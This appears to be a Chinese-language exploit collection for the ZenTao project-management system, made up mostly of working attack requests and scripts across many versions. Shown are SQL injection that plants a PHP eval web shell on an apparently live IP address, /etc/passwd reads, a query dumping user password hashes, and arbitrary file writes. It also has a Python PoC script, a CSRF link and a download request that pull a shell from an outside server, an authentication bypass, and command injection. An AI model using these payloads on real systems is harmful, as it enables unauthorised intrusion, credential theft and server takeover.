GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTZjNjU2Mzc0MjAyNzNjM2Y3MDY4NzAyMDQwNjU3NjYxNmMyODI0NWY1MDRmNTM1NDViMzE1ZDI5M2YzZTI3M2I7UFJFUEFSRSBwb3JkIEZST00gQFNRTDtFWEVDVVRFIHBvcmQ7LS0gLSIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0= HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

//关闭日志:set global general_log='off';
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO1NFVCBAU1FMPTB4NzM2NTc0MjA2NzZjNmY2MjYxNmMyMDY3NjU2ZTY1NzI2MTZjNWY2YzZmNjczZDI3NmY2NjY2MjczYjtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ== HTTP/1.1
Host: 118.193.36.37:10363
Referer:http://118.193.36.37:10363/zentaopms/

# zentao-getshell 禅道8.2-9.2.1前台Getshell

工具地址:https://github.com/jas502n/zentao-getshell

python exp.py http://[IP]/jas502n.php

利用该漏洞无需登录,本质还是通过未认证SQL注入到文件写入最后getshell,仍然是由于orderBy()的逻辑漏洞

# 禅道11.6 api-getModel-api-getMethod-filePath任意文件读取漏洞

该漏洞属于禅道旧版本api::getModel()越权调用模型方法的一个利用点,普通用户原本只能访问api/getModel,但getModel()又允许用户指定其他Model和方法,导致越过权限检查进而调用本不应该由普通用户直接调用的危险方法

getModel:它的设计用途是通过API调用某个模块Model中的方法

api/getModel
     │
     ├── moduleName
     ├── methodName
     └── params

但由于当前版本只检查api/getModel权限,导致moduleName、methodName、params用户可控,从而可以实现调用其他Model的危险方法

api-getModel-api-getMethod-filePath中的api-getMethod-filePath即moduleName=api,methodName=getMethod,params=filePath

其调用关系大致为:

api::getModel()
       │
       │ moduleName = api
       │ methodName = getMethod
       ▼
api Model
       │
       ▼
apiModel::getMethod()
       │
       │ filePath
       ▼
helper::import()
       │
       ▼
PHP include/import

poc:

/api-getModel-file-parseCSV-fileName=/etc/passwd
/api-getModel-api-getMethod-filePath=/etc/passwd/1

对于poc1需要注意以.php和.txt结尾的文件会被/framework/base/router.class.php中的parsePathInfo方法过滤

# 禅道11.6 api-getModel-api-sql-sql 后台SQL注入漏洞

该漏洞属于api::getModel()权限边界下的不同危险方法

该危险方法存在于旧版module/api/model.php下:

public function sql($sql, $keyField = '')
{
    $sql = trim($sql);

    if(strpos($sql, ';') !== false)
    {
        $sql = substr($sql, 0, strpos($sql, ';'));
    }

    if(empty($sql)) return '';

    if(stripos($sql, 'select ') !== 0)
    {
        return $this->lang->api->error->onlySelect;
    }
    else
    {
        $stmt = $this->dao->query($sql);
        return $stmt->fetchAll();
    }
}

这里的$sql并不是$sql = "SELECT * FROM user WHERE id = '$id'";,而是$this->dao->query($sql);,这意味着这里的$sql本身就是完整的SQL语句,并且这里对于SQL的过滤为必须以SELECT开头,而不能是UPDATE,DELET,INSERT......,同时不允许多条SQL语句执行

poc:

/api-getModel-api-sql-sql=select+account,password+from+zt_user

# 禅道11.6 api-getModel-editor-save-filePath 后台任意文件写入漏洞

这个漏洞中攻击者让getModle()去调用editorModel::save()方法,而在这个方法内部存在:

file_put_contents($filePath, $fileContent);

filePath则是save()方法的文件路径参数

poc:

POST /api-getModel-editor-save-filePath=/tmp/test HTTP/1.1
Host: 192.168.10.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest

fileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo();?>');?>

之后可以通过文件包含运行上传的文件进行getshell:

/zentaopms11.6/www/api-getModel-api-getMethod-filePath=/tmp/test/1234

这里贴一下大佬的漏洞检测脚本:

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.tech

import base64
import requests
import random
import re
import json
import sys

def title():
print('+------------------------------------------')
print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
print('+  \033[34m公众号 : PeiQi文库                                                        \033[0m')
print('+  \033[34mVersion: zentao version = 11.6                                    \033[0m')
print('+  \033[36m使用格式: python3 poc.py                                            \033[0m')
print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
print('+  \033[36mZentaosid   >>> xxxxxxxxxxxxxx(cookie字段)                          \033[0m')
print('+------------------------------------------')

def POC_1(target_url):
version_url = target_url + "/www/index.php?mode=getconfig"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.get(url=version_url, timeout=20, headers=headers)
version = json.loads(response.text)['version']
print("\033[32m[o] 禅道版本为:{}\033[0m".format(version))

except Exception as e:
print("\033[31m[x] 获取版本失败 \033[0m", e)
sys.exit(0)

def POC_2(target_url, zentaosid):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie": "zentaosid={}".format(zentaosid)
}
data = {"fileContent":"<?php phpinfo();?>"}
write_url = target_url + "/api-getModel-editor-save-filePath=/tmp/test"
try:
response = requests.post(url=write_url, data=data, headers=headers, timeout=10)
print("\033[32m[o] 尝试写入php文件... \033[0m")
except:
print("\033[31m[x] 写入php文件失败 \033[0m")
sys.exit(0)

def POC_3(target_url, zentaosid):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie": "zentaosid={}".format(zentaosid)
}
vuln_url = target_url + "/api-getModel-api-getMethod-filePath=/tmp/test/1"
try:
response = requests.get(url=vuln_url, headers=headers, timeout=10)
if "System" in response.text:
print("\033[32m[o] 成功写入文件,存在漏洞, 访问 {}/api-getModel-api-getMethod-filePath=/tmp/test/1/ 查看 \033[0m".format(target_url))
else:
print("\033[31m[x] 读取php文件失败 \033[0m")
except:
print("\033[31m[x] 读取php文件失败 \033[0m")

if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))
zentaosid  = str(input("\033[35mZentaosid >>> \033[0m"))
POC_1(target_url)
POC_2(target_url, zentaosid)
POC_3(target_url, zentaosid)

# 禅道12.4.2 CSRF漏洞 CNVD-2020-68552

影响范围为禅道 <= 12.4.2

攻击者可以针对禅道的部分模块制造恶意URL地址发送给管理员,当管理员登录的时候会执行模块的恶意请求,可用于进行钓鱼请求

poc制作流程:

# 构造URL地址
/www/index.php?m=user&f=login&referer=/www/index.php.m=client&f=download&version=1&link=HTTP://peiqi.tech/SHELL.php

# 将link参数进行base64加密
/www/index.php?m=user&f=login&referer=/www/index.php.m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw

# 将referer参数以.做分割base64加密两边字符
/www/index.php?m=user&f=login&referer=L3d3dy9pbmRleC5waHA.bT1jbGllbnQmZj1kb3dubG9hZCZ2ZXJzaW9uPTEmbGluaz1TRlJVVURvdkwzQmxhWEZwTG5SbFkyZ3ZVMGhGVEV3dWNHaHc=

将最后这一串URL发送给管理员,管理员登录时则会触发恶意文件下载

# 禅道12.4.2 后台任意文件上传漏洞 CNVD-C-2020-121325

影响范围为禅道 <= 12.4.2

该漏洞表现为登录管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件,成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限

exp:

http://[IP]/zentao/client-download-1-aHR0cDovL3Zwczpwb3J0L3NoZWxsLnBocA==-1.html

下载完成之后访问下载的木马文件:

http://[IP]/zentao/data/client/1/shell.php

其中aHR0cDovL3Zwczpwb3J0L3NoZWxsLnBocA==是http://127.0.0.1:8000/shell.php的base64编码,需要我们上传一个一句话木马到靶机能连接的服务器上

# 禅道16.5 router.class.php SQL注入漏洞 CNVD-2022-42853

禅道16.5及早期版本的登录接口未对用户输入的account参数进行过滤,导致攻击者可以构造恶意的SQL语句拼接至数据库查询中,导致敏感信息泄露

poc:

# 报错注入
?account=admin'+and+updatexml(1,concat(0x7e,user()),1)
# 延时注入
?account=admin' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)-- \

# POST包
POST /zentao/user-login.html HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

account=admin%27+and++updatexml%281%2Cconcat%280x1%2Cuser%28%29%29%2C1%29+and+%271%27%3D%271

# 禅道v18.0-v18.3存在后台命令执行漏洞

该漏洞的核心在于用户提供的IP/域名最终进入了系统的ping命令,但旧版本没有正确校验其中的shell特殊字符,因此可以改变原本命令的含义造成操作系统命令执行

poc:

POST /zentaopms/www/index.php?m=zahost&f=create HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64;x64;rv:109.0)Gecko/20100101 Firefox/111.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxx.xxx.xxx/zentaopms/www/index.php?m=zahost&f=create
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 134
Origin: http://xxx.xxx.xxx.xxx
Connection: close
Cookie: zentaosid=fwaf16g51w678678qw686;
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

vsoft=kvm&hostType=physical&name=penson&extranet=xxx.xxx.xxx.xxx%7Ccalc.exe&cpuCores=
2&memory=16&diskSize=16&desc=&uid=640be59da4851&type=z

其中%7C为管道符|的URL编码

# 禅道18.5 后台命令执行漏洞

该漏洞本质是一个配置写入导致的任意代码执行,ajaxSavaCustomFields函数在接收前端POST传过来的自定义字段内容时,没有对内容中的恶意字符进行严格的过滤和限制,尤其是php标签<?php ... ?>,禅道为了提高性能或者固化配置,会将后台保存的一些动态配置信息直接拼接成PHP数组或变量的形式,并写入到服务器上的PHP配置文件中,例如config/ext/目录或缓存目录下,那么攻击者如果在POST请求体中植入了恶意的php代码,这段代码会被写入到.php文件中,当系统其他业务逻辑运行时,或者攻击者直接访问这个被污染的php文件时,恶意代码就会被服务器的php解释器执行

poc:

POST /zentaopms/www/index.php?m=custom&f=ajaxSaveCustomFields&module=common§ion=features&key=apiGetModel HTTP/1.1
Host: 192.168.234.128
Content-Length: 11
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.234.128
Referer: http://192.168.234.128/zentaopms/www/index.php?m=projectstory&f=story&projectID=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: zentaosid=t33hnj6nnkdkjcid7rp3bdl63e;
Connection: close

fields=true
POST /zentaopms/www/index.php?m=api&f=getModel&moduleName=repo&methodName=checkConnection HTTP/1.1
Host: 192.168.234.128
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Referer: http://192.168.234.128/zentaopms/www/index.php
Cookie: zentaosid=t33hnj6nnkdkjcid7rp3bdl63e;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

client=calc.exe&SCM=Subversion

# 禅道20.7后台应用根目录任内意文件读取漏洞

该漏洞是editor模块的edit()方法对用户提供的filePath控制不严,导致具有相应后台访问权限的用户能够让禅道读取程序根目录范围内原本不应该由该功能读取的文件

对于已登录后台的用户,在调用到editor::edit()方法的时候,会将filePath进行base64解码,然后通过realPath()进行路径规范化,随后判断是否位于禅道程序根目录,调用file_exists()和file_get_contents(),最后将文件内容返回到页面

poc:

/index.php?m=editor&f=edit&filePath=Li4vLi4vY29uZmlnL215LnBocA==&action=extendOther&isExtends=3

# 禅道21.1开源版存在SQL注入

该漏洞出现在module/search/control.php:

public function index(int $recTotal = 0, int $pageID = 1)
{
    if(empty($words)) $words = $this->get->words;
    if(empty($words)) $words = $this->post->words;

    $words = strip_tags(strtolower($words));

    ...

    $results = $this->search->getList($words, $type, $pager);
}

也就是说HTTP参数中的words经过strp_tags()处理之后进入到search->getList(),这里的stip_tags()主要作用是去掉HTML/XML标签,例如<script>

在againstCond的拼接过程中,每个单词被直接添加到查询条件中,没有进行任何的转义和过滤,如果$words是单引号,它会被包含在+运算符和双引号以内,导致生成的SQL查询语句不正确,likeCond直接将$keywords插入到SQL查询中,没有进行任何过滤和转义处理,如果$keywords包含特殊字符会导致生成的SQL查询不正确,从而产生SQL注入

poc:

GET /index.php?m=search&f=index&words=1&type=all&zin=1 HTTP/1.1
Host: 192.168.88.6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.88.6/
X-ZIN-Options: {"selector":["#configJS","title>","body>*"],"type":"list"}
X-ZIN-App: search
X-Zin-Cache-Time: 0
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: zentaosid=d5ikdmm295l1ca5ec4an8p4f7u; lang=zh-cn; vision=rnd; device=desktop; theme=default; keepLogin=on; za=admin; zp=abd630d8e942046184fb94d4e591e66cd011665a; hideMenu=false; tab=search
Priority: u=4

sqlmap用法:

python sqlmap.py -r 1.txt --level=5 --risk=3 --threads=10 --dbms=mysql

# 禅道项目管理系统远程命令执行漏洞 CNVD-2023-02709

影响范围为:

杭州易软共创网络科技有限公司 禅道项目管理系统 >=17.4,<=18.0.beta1(开源版)
杭州易软共创网络科技有限公司 禅道项目管理系统 >=7.4,<=8.0.beta1(企业版)
杭州易软共创网络科技有限公司 禅道项目管理系统 >=3.4,<=4.0.beta1(旗舰版)

该漏洞源于在认证过程中未正确退出程序,导致的认证绕过,并且后台中有多种执行命令的方式,攻击者可以利用该漏洞在目标服务器上注入任意命令,实现未授权接管服务器

poc:

# 权限绕过
import requests

header={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36',
}

def bypasscookie(url,session):
target=url+"/index.php?m=misc&f=captcha&sessionVar=user"
r=session.get(target,headers=header)
zentaosid=r.cookies.get_dict()['zentaosid']
print(zentaosid)

header["Cookie"]="zentaosid="+zentaosid
resp=session.get(url+"/index.php?m=my&f=index",headers=header)
if "/shandao/www/index.php?m=user&f=login" not in resp.text:
print("绕过登陆验证")
else:
print("无法绕过验证")

if __name__ == '__main__':
url="http://127.0.0.1:8081/shandao/www/"
session=requests.Session()
bypasscookie(url,session)

# 后台RCE
## 创建Gitlab库,拿到repolID
POST /shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 144
Origin: http://127.0.0.1:8081
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

product%5B%5D=1&SCM=Gitlab&serviceProject=wangnima&name=wangnima2333&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=63e4a18218a68

## 创建好之后去到/shandao/www/index.php?m=repo&f=maintain&tid=rmqcl0ss查看repoID并进入编辑
POST /shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 222
Origin: http://127.0.0.1:8081
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

product%5B%5D=1&SCM=Subversion&serviceHost=&name=wangnima2333&path=http%3A%2F%2F123.4.5.6&encoding=utf-8&client=%60open+%2FSystem%2FApplications%2FCalculator.app%60&account=&password=&encrypt=base64&desc=&uid=63e4a26b5fd65